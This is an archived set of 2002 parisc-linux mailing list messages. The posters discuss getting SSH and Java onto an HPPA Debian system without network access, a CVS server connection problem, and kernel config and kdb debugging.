List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14894

Check for OpenSSH, I'm pretty sure it's part of the compiled 
packages.  As for Java, I'm pretty sure there is no pre-compiled form 
for HPPA, but you can try to compile it, or try Kaffe
Aaron
>
>and more importantly a ssh client. I do not have network connectivity


-- 
_______________________________________________________
Aaron Macks(aaronm@cs.brandeis.edu)
My sheep has seven gall bladders, that makes me the King of the Universe!



From - Thu Nov 08 21:22:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "marc " <marc@centraltx.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Java and SSH
Date: Wed, 29 May 2002 11:04:58 -0500
Lines: 10
Approved: news@gmane.org
Message-ID: <200205291104.AA315359834@mail.centraltx.com>
Reply-To: <marc@centraltx.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621332 7988 80.91.229.3 (22 Nov 2014 01:55:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:32 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 29 10:05:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.centraltx.com (gapserver.centraltx.com [64.209.39.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id EA04A482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 May 2002 10:05:40 -0600 (MDT)
X-Sender: <marc@centraltx.com>
X-Mailer: <IMail v7.04>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14895

>Check for OpenSSH, I'm pretty sure it's part of the compiled 
>packages.  As for Java, I'm pretty sure there is no pre-compiled form 
>for HPPA, but you can try to compile it, or try Kaffe
>Aaron

`apt-cache search ssh` returns nothing.

Any other ideas?



From - Thu Nov 08 21:22:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Java and SSH
Date: Wed, 29 May 2002 17:08:02 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20020529170802.R10366@parcelfarce.linux.theplanet.co.uk>
References: <200205291104.AA315359834@mail.centraltx.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621333 7994 80.91.229.3 (22 Nov 2014 01:55:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: marc <marc@centraltx.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 29 10:08:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2492D482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 May 2002 10:08:17 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17D5zW-0006Mk-00; Wed, 29 May 2002 17:08:02 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200205291104.AA315359834@mail.centraltx.com>; from marc@centraltx.com on Wed, May 29, 2002 at 11:04:58AM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14896

On Wed, May 29, 2002 at 11:04:58AM -0500, marc  wrote:
> 
> >Check for OpenSSH, I'm pretty sure it's part of the compiled 
> >packages.  As for Java, I'm pretty sure there is no pre-compiled form 
> >for HPPA, but you can try to compile it, or try Kaffe
> >Aaron
> 
> `apt-cache search ssh` returns nothing.
> 
> Any other ideas?

try an apt-get update first?

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS server problem?
Date: Wed, 29 May 2002 18:13:15 +0200 (CEST)
Lines: 28
Approved: news@gmane.org
Message-ID: <1022688795.3cf4fe1b855f9@webmail.tiscali.be>
References: <1022683580.3cf4e9bc12fcf@webmail.tiscalinet.be> <20020529160105.P10366@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621333 8004 80.91.229.3 (22 Nov 2014 01:55:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:33 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 29 10:13:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 46306482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 May 2002 10:13:19 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17D64Z-0001qL-00; Wed, 29 May 2002 18:13:15 +0200
In-Reply-To: <20020529160105.P10366@parcelfarce.linux.theplanet.co.uk>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14897

Quoting Matthew Wilcox <willy@debian.org>:

> On Wed, May 29, 2002 at 04:46:20PM +0200, joel.soete@freebel.net wrote:
> > Hi all,
> > 
> > I just cvs update kernel 2.1.18-pa28 yesterday and would like to
> update to last
> > 2.4.18-pa29 but today each time 'Connection reset by peer'. Am I alone
> to have
> > this problem? (other cvs update with sourceforge, gnu, redhat do not
> present
> > this problem but it is also possible to be an isp problem)
> 
> working for me.  (ssh access, not pserver access).

Humm but I can only join pserver as anonymous user afaik?

> 
> -- 
> Revolutions do not require corporate support.
> 
> 


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andreas Deresch <aderesch@fs.tum.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Java and SSH
Date: Wed, 29 May 2002 18:16:17 +0200 (CEST)
Lines: 25
Approved: news@gmane.org
Message-ID: <Pine.NEB.4.44.0205291813260.25776-100000@tethys.fachschaften.tu-muenchen.de>
References: <20020529170802.R10366@parcelfarce.linux.theplanet.co.uk>
Reply-To: Andreas Deresch <aderesch@fs.tum.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621333 8011 80.91.229.3 (22 Nov 2014 01:55:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:33 +0000 (UTC)
Cc: marc <marc@centraltx.com>, <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 29 10:16:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hermes.fachschaften.tu-muenchen.de (hermes.fachschaften.tu-muenchen.de [129.187.176.19])
	by dsl2.external.hp.com (Postfix) with SMTP id D0F75482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 May 2002 10:16:18 -0600 (MDT)
Original-Received: (qmail 25871 invoked from network); 29 May 2002 16:16:10 -0000
Original-Received: from tethys.fachschaften.tu-muenchen.de (HELO tethys) (129.187.176.24)
  by hermes.fachschaften.tu-muenchen.de with SMTP; 29 May 2002 16:16:10 -0000
In-Reply-To: <20020529170802.R10366@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14898

On Wed, 29 May 2002, Matthew Wilcox wrote:

> On Wed, May 29, 2002 at 11:04:58AM -0500, marc  wrote:
> >
> > >Check for OpenSSH, I'm pretty sure it's part of the compiled
> > >packages.  As for Java, I'm pretty sure there is no pre-compiled form
> > >for HPPA, but you can try to compile it, or try Kaffe
> > >Aaron
> >
> > `apt-cache search ssh` returns nothing.
> >
> > Any other ideas?
>
> try an apt-get update first?
ssh is in non-US isn't it? If there is no line like

deb ftp://ftp.de.debian.org/debian-non-US unstable/non-US main
(change for your favourite server, protocol, etc.)

in /etc/apt/sources.list, that won't do anything.

ad




From - Thu Nov 08 21:22:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Patrick Caulfield <patrick@tykepenguin.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb_v21 branch updated to -pa26, and kallsyms cross-compile
Date: Wed, 29 May 2002 17:24:38 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <20020529162438.GJ9919@tykepenguin.com>
References: <20020527001321.A6629@systemhalted> <20020528142736.GA9288@tykepenguin.com> <20020528132933.B31214@systemhalted> <20020529075131.GC9919@tykepenguin.com> <20020529082107.A2794@systemhalted> <20020529141231.GG9919@tykepenguin.com> <20020529110118.A3691@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
X-Trace: ger.gmane.org 1416621334 8018 80.91.229.3 (22 Nov 2014 01:55:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:34 +0000 (UTC)
Cc: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 29 10:24:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tyke.pjc.net (public1-leed3-5-cust141.leed.broadband.ntl.com [80.0.5.141])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8FE96482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 May 2002 10:24:40 -0600 (MDT)
Original-Received: from patrick by tyke.pjc.net with local (Exim 3.35 #1 (Debian))
	id 17D6Fa-0004Y4-00; Wed, 29 May 2002 17:24:38 +0100
Mail-Followup-To: parisc-linux@lists.parisc-linux.org,
	"Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Content-Disposition: inline
In-Reply-To: <20020529110118.A3691@systemhalted>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14899

On Wed, May 29, 2002 at 11:01:18AM -0400, Carlos O'Donell Jr. wrote:
> >
> 
> You can't always copy a .config from kernel to kernel. The kernel source
> dictates what will be _in_ the .config. I usually run 'make mrproper'
> and then have 'make oldconfig' or 'make ???config' recreate the config files
> to suit the material in the kernel.
> 
> When switching to a new source tree I recommend:
> make mrproper
> make oldconfig
> make menuconfig (to suit your tastes)

Oh, I'm doing that. I just tried it again, it was either that or throw it out
of the window.

Is there parisc version of the kdb patch I could try applying to a kernel
source I know works maybe ?

> As for the endless 'Stack pointer and cr30 do not correspond!'....
> 
> I believe that is a bug in traps.c and I have code to give a proper dump.
> I haven't been able to get anyone who knows to explain how the dump_stack in 
> traps should _really_ work :)

Thanks, I'll try that out.
 
> AFAI understand the following works (I've tested it on my kernels with what 
> looks to be a successfull dump while doing some bad things (props to Bame
> for helping me out) ;)
> 
> BTW, what led me to this solution is that the printk in the else is
> completely bogus... so I rewrote the else.
> 
> Q: When do you get 'Stack pointer and cr30 do not correspond'?

When it hits my buggy code :-) 

patrick




From - Thu Nov 08 21:22:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andreas Deresch <aderesch@fs.tum.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Java and SSH
Date: Wed, 29 May 2002 18:25:13 +0200 (CEST)
Lines: 29
Approved: news@gmane.org
Message-ID: <Pine.NEB.4.44.0205291821570.25776-100000@tethys.fachschaften.tu-muenchen.de>
References: <Pine.NEB.4.44.0205291813260.25776-100000@tethys.fachschaften.tu-muenchen.de>
Reply-To: Andreas Deresch <aderesch@fs.tum.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621334 8026 80.91.229.3 (22 Nov 2014 01:55:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:34 +0000 (UTC)
Cc: marc <marc@centraltx.com>, <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 29 10:25:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hermes.fachschaften.tu-muenchen.de (hermes.fachschaften.tu-muenchen.de [129.187.176.19])
	by dsl2.external.hp.com (Postfix) with SMTP id 52A8D483C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 May 2002 10:25:11 -0600 (MDT)
Original-Received: (qmail 26479 invoked from network); 29 May 2002 16:25:07 -0000
Original-Received: from tethys.fachschaften.tu-muenchen.de (HELO tethys) (129.187.176.24)
  by hermes.fachschaften.tu-muenchen.de with SMTP; 29 May 2002 16:25:07 -0000
In-Reply-To: <Pine.NEB.4.44.0205291813260.25776-100000@tethys.fachschaften.tu-muenchen.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14900

On Wed, 29 May 2002, Andreas Deresch wrote:

> On Wed, 29 May 2002, Matthew Wilcox wrote:
>
> > On Wed, May 29, 2002 at 11:04:58AM -0500, marc  wrote:
> > >
> > > >Check for OpenSSH, I'm pretty sure it's part of the compiled
> > > >packages.  As for Java, I'm pretty sure there is no pre-compiled form
> > > >for HPPA, but you can try to compile it, or try Kaffe
> > > >Aaron
> > >
> > > `apt-cache search ssh` returns nothing.
> > >
> > > Any other ideas?
> >
> > try an apt-get update first?
> ssh is in non-US isn't it? If there is no line like
>
> deb ftp://ftp.de.debian.org/debian-non-US unstable/non-US main
> (change for your favourite server, protocol, etc.)
>
> in /etc/apt/sources.list, that won't do anything.
O.k., correction - at the moment it is in non-US/main for stable, in main
for testing and unstable.

ad




From - Thu Nov 08 21:22:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "marc " <marc@centraltx.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Java and SSH
Date: Wed, 29 May 2002 11:25:26 -0500
Lines: 43
Approved: news@gmane.org
Message-ID: <200205291125.AA386859468@mail.centraltx.com>
Reply-To: <marc@centraltx.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621334 8033 80.91.229.3 (22 Nov 2014 01:55:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:34 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 29 10:26:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.centraltx.com (gapserver.centraltx.com [64.209.39.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id BDB2A483F
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 May 2002 10:26:08 -0600 (MDT)
X-Sender: <marc@centraltx.com>
X-Mailer: <IMail v7.04>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14901

The problem is per my original post that I do not have network
yet, I just needed the Java and SSH stuff to do some work,
but I guess I will wait until I get things up and running.

Thanks,
-Marc

---------- Original Message ----------------------------------
From: Andreas Deresch <aderesch@fs.tum.de>
Reply-To: Andreas Deresch <aderesch@fs.tum.de>
Date:  Wed, 29 May 2002 18:16:17 +0200 (CEST)

>On Wed, 29 May 2002, Matthew Wilcox wrote:
>
>> On Wed, May 29, 2002 at 11:04:58AM -0500, marc  wrote:
>> >
>> > >Check for OpenSSH, I'm pretty sure it's part of the compiled
>> > >packages.  As for Java, I'm pretty sure there is no pre-compiled form
>> > >for HPPA, but you can try to compile it, or try Kaffe
>> > >Aaron
>> >
>> > `apt-cache search ssh` returns nothing.
>> >
>> > Any other ideas?
>>
>> try an apt-get update first?
>ssh is in non-US isn't it? If there is no line like
>
>deb ftp://ftp.de.debian.org/debian-non-US unstable/non-US main
>(change for your favourite server, protocol, etc.)
>
>in /etc/apt/sources.list, that won't do anything.
>
>ad
>
>
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>



From - Thu Nov 08 21:22:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andreas Deresch <aderesch@fs.tum.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Java and SSH
Date: Wed, 29 May 2002 18:34:24 +0200 (CEST)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.NEB.4.44.0205291830380.25776-100000@tethys.fachschaften.tu-muenchen.de>
References: <200205291125.AA386859468@mail.centraltx.com>
Reply-To: Andreas Deresch <aderesch@fs.tum.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621334 8039 80.91.229.3 (22 Nov 2014 01:55:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: marc <marc@centraltx.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 29 10:34:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hermes.fachschaften.tu-muenchen.de (hermes.fachschaften.tu-muenchen.de [129.187.176.19])
	by dsl2.external.hp.com (Postfix) with SMTP id F41C8482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 May 2002 10:34:21 -0600 (MDT)
Original-Received: (qmail 27177 invoked from network); 29 May 2002 16:34:17 -0000
Original-Received: from tethys.fachschaften.tu-muenchen.de (HELO tethys) (129.187.176.24)
  by hermes.fachschaften.tu-muenchen.de with SMTP; 29 May 2002 16:34:17 -0000
In-Reply-To: <200205291125.AA386859468@mail.centraltx.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14902

On Wed, 29 May 2002, marc  wrote:

> The problem is per my original post that I do not have network
> yet, I just needed the Java and SSH stuff to do some work,
> but I guess I will wait until I get things up and running.
If you have network access somewhere else, you can still download the
package there and carry it home. apt-zip is a tool for automating that (get
the package lists, update your local cache, choose packages, then run
apt-zip-list, use the produced script to download the packages somewhere
else, then run apt-zip-inst back home).

ad




From - Thu Nov 08 21:22:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb_v21 branch updated to -pa26, and kallsyms cross-compile
Date: Wed, 29 May 2002 13:26:31 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <20020529132631.B3691@systemhalted>
References: <20020527001321.A6629@systemhalted> <20020528142736.GA9288@tykepenguin.com> <20020528132933.B31214@systemhalted> <20020529075131.GC9919@tykepenguin.com> <20020529082107.A2794@systemhalted> <20020529141231.GG9919@tykepenguin.com> <20020529110118.A3691@systemhalted> <20020529162438.GJ9919@tykepenguin.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621335 8042 80.91.229.3 (22 Nov 2014 01:55:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:35 +0000 (UTC)
Cc: patrick@tykepenguin.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 29 11:26:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 68782482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 May 2002 11:26:19 -0600 (MDT)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.6/8.11.0) id g4THQVK04258;
	Wed, 29 May 2002 13:26:31 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org, patrick@tykepenguin.com
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020529162438.GJ9919@tykepenguin.com>; from patrick@tykepenguin.com on Wed, May 29, 2002 at 05:24:38PM +0100
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14903

> 
